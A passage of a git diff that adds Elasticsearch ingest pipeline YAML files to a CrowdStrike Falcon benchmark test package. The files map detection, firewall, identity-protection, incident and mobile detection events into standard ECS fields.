+      if: ctx.crowdstrike?.event?.TacticId != null
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml
new file mode 100644
index 0000000000..24a04de529
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml
@@ -0,0 +1,110 @@
+---
+processors:
+  # Handle case changes.
+  - rename:
+      tag: rename_GrandParentCommandLine_GrandparentCommandLine
+      field: crowdstrike.event.GrandParentCommandLine
+      target_field: crowdstrike.event.GrandparentCommandLine
+      ignore_failure: true
+  - rename:
+      tag: rename_GrandParentImageFileName_GrandparentImageFileName
+      field: crowdstrike.event.GrandParentImageFileName
+      target_field: crowdstrike.event.GrandparentImageFileName
+      ignore_failure: true
+  - rename:
+      tag: rename_GrandParentImageFilePath_GrandparentImageFilePath
+      field: crowdstrike.event.GrandParentImageFilePath
+      target_field: crowdstrike.event.GrandparentImageFilePath
+      ignore_failure: true
+  # EppDetectionSummaryEvent renames
+  - rename:
+      tag: rename_Hostname_ComputerName
+      field: crowdstrike.event.Hostname
+      target_field: crowdstrike.event.ComputerName
+      ignore_failure: true
+  - rename:
+      tag: rename_LogonDomain_MachineDomain
+      field: crowdstrike.event.LogonDomain
+      target_field: crowdstrike.event.MachineDomain
+      ignore_failure: true
+  - rename:
+      tag: rename_AgentId_SensorId
+      field: crowdstrike.event.AgentId
+      target_field: crowdstrike.event.SensorId
+      ignore_failure: true
+  - rename:
+      tag: rename_Name_DetectName
+      field: crowdstrike.event.Name
+      target_field: crowdstrike.event.DetectName
+      ignore_failure: true
+
+  # EppDetectionSummaryEvent converts
+  - convert:
+      field: crowdstrike.event.LocalIPv6
+      tag: convert_crowdstrike_LocalIPv6_ip
+      type: ip
+      if: ctx.crowdstrike?.event?.LocalIPv6 != null && ctx.crowdstrike.event.LocalIPv6 != ''
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_LocalIPv6_b3dc135b
+            field: crowdstrike.event.LocalIPv6
+            ignore_failure: true
+        - append:
+            tag: append_error_message_9f65dae0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: crowdstrike.event.FilesAccessed
+      tag: convert_crowdstrike_filesaccessed_timestamp_array
+      if: ctx.crowdstrike?.event?.FilesAccessed instanceof List
+      ignore_failure: true
+      processor:
+        date:
+          field: _ingest._value.Timestamp
+          target_field: _ingest._value.Timestamp
+          formats:
+            - UNIX
+          tag: convert_crowdstrike_filesaccessed_timestamp
+          on_failure:
+            - remove:
+                field: _ingest._value.Timestamp
+                ignore_failure: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: crowdstrike.event.FilesWritten
+      tag: convert_crowdstrike_fileswritten_timestamp_array
+      if: ctx.crowdstrike?.event?.FilesWritten instanceof List
+      ignore_failure: true
+      processor:
+        date:
+          field: _ingest._value.Timestamp
+          target_field: _ingest._value.Timestamp
+          formats:
+            - UNIX
+          tag: convert_crowdstrike_fileswritten_timestamp
+          on_failure:
+            - remove:
+                field: _ingest._value.Timestamp
+                ignore_failure: true
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  - pipeline:
+      name: '{{ IngestPipeline "detection_summary" }}'
+      tag: pipeline_detection_summary
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml
new file mode 100644
index 0000000000..7cb95e3d41
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml
@@ -0,0 +1,199 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value: network
+      tag: append_network_category
+  - append:
+      field: event.action
+      value: firewall_match_event
+      tag: append_firewall_match_event
+  - append:
+      field: event.type
+      value:
+        - start
+        - connection
+      tag: append_start_connection_type
+  - append:
+      field: event.type
+      value: allowed
+      tag: append_allowed_type
+      if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "1"
+  - set:
+      field: _tmp_.action
+      value: "Allowed"
+      tag: set_allowed_action
+      if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "1"
+  - append:
+      field: event.type
+      value: denied
+      tag: append_denied_type
+      if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "2"
+  - set:
+      field: _tmp_.action
+      value: "Blocked"
+      tag: set_blocked_action
+      if: ctx.crowdstrike?.event?.RuleAction != null && ctx.crowdstrike?.event?.RuleAction == "2"
+  - set:
+      field: _tmp_.action
+      value: "Unknown"
+      tag: set_unknown_action
+      if: ctx._tmp_?.action == null
+  - set:
+      field: message
+      value: "Firewall Rule: '{{{crowdstrike.event.RuleName}}}' triggered - Action: '{{{_tmp_.action}}}'"
+      tag: set_message
+      if: ctx.crowdstrike?.event?.RuleName != null
+  - rename:
+      field: crowdstrike.event.Ipv
+      target_field: network.type
+      ignore_missing: true
+      tag: rename_ipv
+  - convert:
+      field: crowdstrike.event.PID
+      target_field: process.pid
+      type: long
+      ignore_missing: true
+      tag: convert_pid
+  - set:
+      value: '{{{crowdstrike.event.ImageFileName}}}'
+      field: process.executable
+      ignore_empty_value: true
+      tag: set_process_executable_to_image_file_name
+  - remove:
+      field: crowdstrike.event.ImageFileName
+      ignore_missing: true
+      tag: remove_image_file_name
+  - rename:
+      field: crowdstrike.event.RuleId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_rule_id
+  - rename:
+      field: crowdstrike.event.RuleName
+      target_field: rule.name
+      ignore_missing: true
+      tag: rename_rule_name
+  - rename:
+      field: crowdstrike.event.RuleGroupName
+      target_field: rule.ruleset
+      ignore_missing: true
+      tag: rename_rule_group_name
+  - rename:
+      field: crowdstrike.event.RuleDescription
+      target_field: rule.description
+      ignore_missing: true
+      tag: rename_rule_description
+  - rename:
+      field: crowdstrike.event.RuleFamilyID
+      target_field: rule.category
+      ignore_missing: true
+      tag: rename_rule_family_id
+  - rename:
+      field: crowdstrike.event.HostName
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_host_name
+  - rename:
+      field: crowdstrike.event.EventType
+      target_field: event.code
+      ignore_missing: true
+      tag: rename_event_type
+  - script:
+        tag: script-set-network-direction
+        description: Set network.direction
+        lang: painless
+        if: ctx.crowdstrike?.event?.ConnectionDirection != null
+        source: |
+          def result = [];
+          if (ctx.crowdstrike.event.ConnectionDirection == "0") {
+            result.add('egress');
+          } else if (ctx.crowdstrike.event.ConnectionDirection == "1") {
+            result.add('ingress');
+          } else if (ctx.crowdstrike.event.ConnectionDirection == "3") {
+            result.add('egress');
+            result.add('ingress');
+          } else if (ctx.crowdstrike.event.ConnectionDirection == "4") {
+            result.add('unknown');
+          }
+          if (result.size() > 0) {
+            ctx.network = ctx.network ?: [:];
+          }
+          if (result.size() == 1) {
+            ctx.network.direction = result[0];
+          } else if (result.size() > 1) {
+            ctx.network.direction = result;
+          }
+  - rename:
+      field: crowdstrike.event.RemoteAddress
+      target_field: source.ip
+      ignore_missing: true
+      tag: rename_remote_address_to_source_ip
+      if: ctx.crowdstrike?.event?.RemoteAddress != null && ctx.network?.direction == "ingress"
+  - rename:
+      field: crowdstrike.event.LocalAddress
+      target_field: destination.ip
+      ignore_missing: true
+      tag: rename_local_address_to_destination_ip
+      if: ctx.crowdstrike?.event?.LocalAddress != null && ctx.network?.direction == "ingress"
+  - convert:
+      field: crowdstrike.event.LocalPort
+      target_field: destination.port
+      type: long
+      ignore_missing: true
+      tag: convert_local_port_to_destination_port
+      if: ctx.crowdstrike?.event?.LocalPort != null && ctx.network?.direction == "ingress"
+  - convert:
+      field: crowdstrike.event.RemotePort
+      target_field: source.port
+      type: long
+      ignore_missing: true
+      tag: convert_remote_port_to_source_port
+      if: ctx.crowdstrike?.event?.RemotePort != null && ctx.network?.direction == "ingress"
+  - rename:
+      field: crowdstrike.event.RemoteAddress
+      target_field: destination.ip
+      ignore_missing: true
+      tag: rename_remote_address_to_destination_ip
+      if: ctx.crowdstrike?.event?.RemoteAddress != null && ctx.network?.direction == "egress"
+  - rename:
+      field: crowdstrike.event.LocalAddress
+      target_field: source.ip
+      ignore_missing: true
+      tag: rename_local_address_to_source_ip
+      if: ctx.crowdstrike?.event?.LocalAddress != null && ctx.network?.direction == "egress"
+  - convert:
+      field: crowdstrike.event.LocalPort
+      target_field: source.port
+      type: long
+      ignore_missing: true
+      tag: convert_local_port_to_source_port
+      if: ctx.crowdstrike?.event?.LocalPort != null && ctx.network?.direction == "egress"
+  - convert:
+      field: crowdstrike.event.RemotePort
+      target_field: destination.port
+      type: long
+      ignore_missing: true
+      tag: convert_remote_port_to_destination_port
+      if: ctx.crowdstrike?.event?.RemotePort != null && ctx.network?.direction == "egress"
+  - rename:
+      field: crowdstrike.event.Platform
+      target_field: host.os.platform
+      ignore_missing: true
+      tag: rename_Platform
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml
new file mode 100644
index 0000000000..92d680834c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml
@@ -0,0 +1,131 @@
+---
+processors:
+  - set:
+      field: event.kind
+      value: event
+      tag: set_event_kind
+  - append:
+      field: event.category
+      value: iam
+      tag: append_iam_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - rename:
+      field: crowdstrike.event.IncidentType
+      target_field: event.action
+      ignore_missing: true
+      tag: rename_incident_type
+  - rename:
+      field: crowdstrike.event.IncidentDescription
+      target_field: message
+      ignore_missing: true
+      tag: rename_incident_description
+  - rename:
+      field: crowdstrike.event.IdentityProtectionIncidentId
+      target_field: event.id
+      ignore_missing: true
+      tag: rename_identity_protection_incident_id
+  - rename:
+      field: crowdstrike.event.FalconHostLink
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_falcon_host_link
+  - rename:
+      field: crowdstrike.event.UserName
+      target_field: user.name
+      ignore_missing: true
+      tag: rename_user_name
+  - dissect:
+      if: ctx.user?.name != null && ctx.user.name.contains('\\')
+      tag: dissect_user_name
+      field: user.name
+      pattern: '%{user.domain}\%{user.name}'
+  - rename:
+      field: crowdstrike.event.EndpointName
+      target_field: host.hostname
+      ignore_missing: true
+      tag: rename_endpoint_name
+  - append:
+      field: host.ip
+      value: '{{{crowdstrike.event.EndpointIp}}}'
+      if: ctx.crowdstrike?.event?.EndpointIp != null && ctx.crowdstrike.event.EndpointIp != ''
+      tag: append_host_ip
+  - remove:
+      field: crowdstrike.event.EndpointIp
+      if: ctx.crowdstrike?.event?.EndpointIp != null
+      tag: remove_host_ip
+  - convert:
+      field: crowdstrike.event.StartTime
+      type: string
+      tag: convert_start_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.StartTime != null
+  - gsub:
+      field: crowdstrike.event.StartTime
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_start_time_epoch
+      if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() > 18"
+  - date:
+      field: crowdstrike.event.StartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_start_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() >= 12"
+  - date:
+      field: crowdstrike.event.StartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_start_time_epoch
+      if: 'ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() <= 11'
+  - convert:
+      field: crowdstrike.event.EndTime
+      type: string
+      tag: convert_end_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.EndTime != null
+  - gsub:
+      field: crowdstrike.event.EndTime
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_end_time_epoch
+      if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() > 18"
+  - date:
+      field: crowdstrike.event.EndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_end_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() >= 12"
+  - date:
+      field: crowdstrike.event.EndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_end_time_epoch
+      if: 'ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() <= 11'
+  - set:
+      field: '@timestamp'
+      copy_from: event.start
+      tag: copy_timestamp_from_event_start
+      if: ctx.event?.start != null
+on_failure:
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml
new file mode 100644
index 0000000000..3355f574f9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml
@@ -0,0 +1,96 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_39295792
+      field: event.kind
+      value: alert
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - append:
+      field: event.action
+      value: incident
+      tag: append_incident_action
+  - grok:
+      tag: grok_crowdstrike_event_UserId_70ae09b7
+      field: crowdstrike.event.UserId
+      patterns:
+        - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}'
+        - '%{GREEDYDATA:user.name}'
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.email
+      copy_from: crowdstrike.event.UserId
+      tag: copy_user_email
+      if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0
+  - date:
+      field: crowdstrike.event.IncidentStartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_incident_start_time_ms
+      if: 'ctx.crowdstrike?.event?.IncidentStartTime != null && String.valueOf(ctx.crowdstrike.event.IncidentStartTime).length() >= 12'
+  - date:
+      field: crowdstrike.event.IncidentStartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_incident_start_time
+      if: 'ctx.crowdstrike?.event?.IncidentStartTime != null && String.valueOf(ctx.crowdstrike.event.IncidentStartTime).length() <= 11'
+  - date:
+      field: crowdstrike.event.IncidentEndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_incident_end_time_ms
+      if: 'ctx.crowdstrike?.event?.IncidentEndTime != null && String.valueOf(ctx.crowdstrike.event.IncidentEndTime).length() >= 12'
+  - date:
+      field: crowdstrike.event.IncidentEndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_incident_end_time
+      if: 'ctx.crowdstrike?.event?.IncidentEndTime != null && String.valueOf(ctx.crowdstrike.event.IncidentEndTime).length() <= 11'
+  - rename:
+      field: crowdstrike.event.FalconHostLink
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_falcon_host_link
+  - rename:
+      field: crowdstrike.event.HostID
+      target_field: host.id
+      ignore_missing: true
+      tag: rename_host_id
+  - rename:
+      field: crowdstrike.event.IncidentID
+      target_field: event.id
+      ignore_missing: true
+      tag: rename_incident_id
+  - set:
+      field: message
+      value: "Incident score {{{crowdstrike.event.FineScore}}}"
+      tag: set_message
+      if: ctx.crowdstrike?.event?.FineScore != null
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml
new file mode 100644
index 0000000000..6f19607e78
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml
@@ -0,0 +1,286 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_39295792
+      field: event.kind
+      value: alert
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - set:
+      tag: set_event_action_9543b2bf
+      field: event.action
+      value: ipd-detection
+  - set:
+      tag: set_event_outcome_60052845
+      field: event.outcome
+      value: success
+      if: ctx.crowdstrike?.event?.AttemptOutcome == true
+  - set:
+      tag: set_event_outcome_dd25ba45
+      field: event.outcome
+      value: failure
+      if: ctx.crowdstrike?.event?.AttemptOutcome == false
+  - rename:
+      field: crowdstrike.event.DetectDescription
+      target_field: message
+      ignore_missing: true
+      tag: rename_detect_description
+  - rename:
+      field: crowdstrike.event.LocationCountryCode
+      target_field: host.geo.country_iso_code
+      ignore_missing: true
+      tag: rename_location_country_code
+  - convert:
+      field: crowdstrike.event.PatternId
+      target_field: rule.uuid
+      type: string
+      tag: convert_pattern_id
+      ignore_missing: true
+  - rename:
+      field: crowdstrike.event.SourceAccountDomain
+      target_field: user.domain
+      ignore_missing: true
+      tag: rename_source_account_domain
+  - rename:
+      field: crowdstrike.event.SourceAccountName
+      target_field: user.name
+      ignore_missing: true
+      tag: rename_source_account_name
+  - rename:
+      field: crowdstrike.event.SourceAccountObjectSid
+      target_field: user.id
+      ignore_missing: true
+      tag: rename_source_account_object_sid
+  - rename:
+      field: crowdstrike.event.SourceEndpointHostName
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_source_endpoint_hostname
+  - append:
+      field: host.ip
+      value: '{{{crowdstrike.event.SourceEndpointIpAddress}}}'
+      if: ctx.crowdstrike?.event?.SourceEndpointIpAddress != null && ctx.crowdstrike.event.SourceEndpointIpAddress != ''
+      tag: append_host_ip
+  - remove:
+      field: crowdstrike.event.SourceEndpointIpAddress
+      if: ctx.crowdstrike?.event?.SourceEndpointIpAddress != null
+      tag: remove_host_ip
+  - append:
+      field: threat.technique.name
+      value: "{{{crowdstrike.event.Technique}}}"
+      tag: append_technique_name
+      if: ctx.crowdstrike?.event?.Technique != null
+  - append:
+      field: threat.technique.id
+      value: "{{{crowdstrike.event.TechniqueId}}}"
+      tag: append_technique_id
+      if: ctx.crowdstrike?.event?.TechniqueId != null
+  - append:
+      field: threat.tactic.name
+      value: "{{{crowdstrike.event.Tactic}}}"
+      tag: append_tactic_name
+      if: ctx.crowdstrike?.event?.Tactic != null
+  - append:
+      field: threat.tactic.id
+      value: "{{{crowdstrike.event.TacticId}}}"
+      tag: append_tactic_id
+      if: ctx.crowdstrike?.event?.TacticId != null
+  - set:
+      field: rule.description
+      copy_from: message
+      tag: set_rule_description
+      if: ctx.message != null
+  - rename:
+      field: crowdstrike.event.DetectName
+      target_field: rule.name
+      ignore_missing: true
+      tag: rename_detect_name
+  - rename:
+      field: crowdstrike.event.DetectId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_detect_id
+  - rename:
+      field: crowdstrike.event.FalconHostLink
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_falcon_host_link
+  - remove:
+      tag: remove_9545c61d
+      field:
+        - event.created
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.ContextTimeStamp != null
+  - convert:
+      field: crowdstrike.event.ContextTimeStamp
+      type: string
+      tag: convert_context_timestamp
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.ContextTimeStamp != null
+  - gsub:
+      field: crowdstrike.event.ContextTimeStamp
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_context_timestamp
+      if: "ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() > 18"
+  - date:
+      field: crowdstrike.event.ContextTimeStamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_context_timestamp_ms
+      if: "ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() >= 12"
+  - date:
+      field: crowdstrike.event.ContextTimeStamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_context_timestamp
+      if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && ctx.crowdstrike.event.ContextTimeStamp.length() <= 11'
+  - convert:
+      field: crowdstrike.event.AccountCreationTimeStamp
+      type: string
+      tag: convert_account_creation_timestamp
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.AccountCreationTimeStamp != null
+  - gsub:
+      field: crowdstrike.event.AccountCreationTimeStamp
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_account_creation_timestamp
+      if: "ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() > 18"
+  - date:
+      field: crowdstrike.event.AccountCreationTimeStamp
+      target_field: crowdstrike.event.AccountCreationTimeStamp
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_account_creation_timestamp_ms
+      if: "ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() >= 12"
+  - date:
+      field: crowdstrike.event.AccountCreationTimeStamp
+      target_field: crowdstrike.event.AccountCreationTimeStamp
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_account_creation_timestamp
+      if: 'ctx.crowdstrike?.event?.AccountCreationTimeStamp != null && ctx.crowdstrike.event.AccountCreationTimeStamp.length() <= 11'
+  - convert:
+      field: crowdstrike.event.StartTime
+      type: string
+      tag: convert_start_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.StartTime != null
+  - gsub:
+      field: crowdstrike.event.StartTime
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_start_time_epoch
+      if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() > 18"
+  - date:
+      field: crowdstrike.event.StartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_start_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() >= 12"
+  - date:
+      field: crowdstrike.event.StartTime
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_start_time_epoch
+      if: 'ctx.crowdstrike?.event?.StartTime != null && ctx.crowdstrike.event.StartTime.length() <= 11'
+  - convert:
+      field: crowdstrike.event.EndTime
+      type: string
+      tag: convert_end_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.EndTime != null
+  - gsub:
+      field: crowdstrike.event.EndTime
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_end_time_epoch
+      if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() > 18"
+  - date:
+      field: crowdstrike.event.EndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_end_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() >= 12"
+  - date:
+      field: crowdstrike.event.EndTime
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_end_time_epoch
+      if: 'ctx.crowdstrike?.event?.EndTime != null && ctx.crowdstrike.event.EndTime.length() <= 11'
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.TargetEndpointHostName}}}"
+      allow_duplicates: false
+      tag: append_target_endpoint_hostname
+      if: ctx.crowdstrike?.event?.TargetEndpointHostName != null
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.TargetDomain}}}"
+      allow_duplicates: false
+      tag: append_target_domain
+      if: ctx.crowdstrike?.event?.TargetDomain != null
+  - append:
+      field: related.user
+      value: "{{{crowdstrike.event.TargetAccountName}}}"
+      allow_duplicates: false
+      tag: append_target_account_name
+      if: ctx.crowdstrike?.event?.TargetAccountName != null
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.AdditionalAccountDomain}}}"
+      allow_duplicates: false
+      tag: append_additional_account_domain
+      if: ctx.crowdstrike?.event?.AdditionalAccountDomain != null
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.AdditionalAccountName}}}"
+      allow_duplicates: false
+      tag: append_additional_account_name
+      if: ctx.crowdstrike?.event?.AdditionalAccountName != null
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.AdditionalEndpointHostName}}}"
+      allow_duplicates: false
+      tag: append_additional_endpoint_hostname
+      if: ctx.crowdstrike?.event?.AdditionalEndpointHostName != null
+  - append:
+      field: related.ip
+      value: "{{{crowdstrike.event.AdditionalEndpointIpAddress}}}"
+      allow_duplicates: false
+      tag: append_additional_endpoint_ip
+      if: ctx.crowdstrike?.event?.AdditionalEndpointIpAddress != null
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml
new file mode 100644
index 0000000000..9740e47c9e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml
@@ -0,0 +1,123 @@
+---
+processors:
+  - set:
+      field: event.kind
+      value: alert
+      tag: set_event_kind
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - set:
+      tag: set_event_action_2bf36a54
+      field: event.action
+      value: mobile-detection
+  - remove:
+      field: event.created
+      if: ctx.crowdstrike?.event?.ContextTimeStamp != null
+      tag: remove_event_created
+      ignore_missing: true
+  - date:
+      field: crowdstrike.event.ContextTimeStamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_creation_time
+      if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && String.valueOf(ctx.crowdstrike.event.ContextTimeStamp).length() <= 11'
+  - date:
+      field: crowdstrike.event.ContextTimeStamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_creation_time_ms
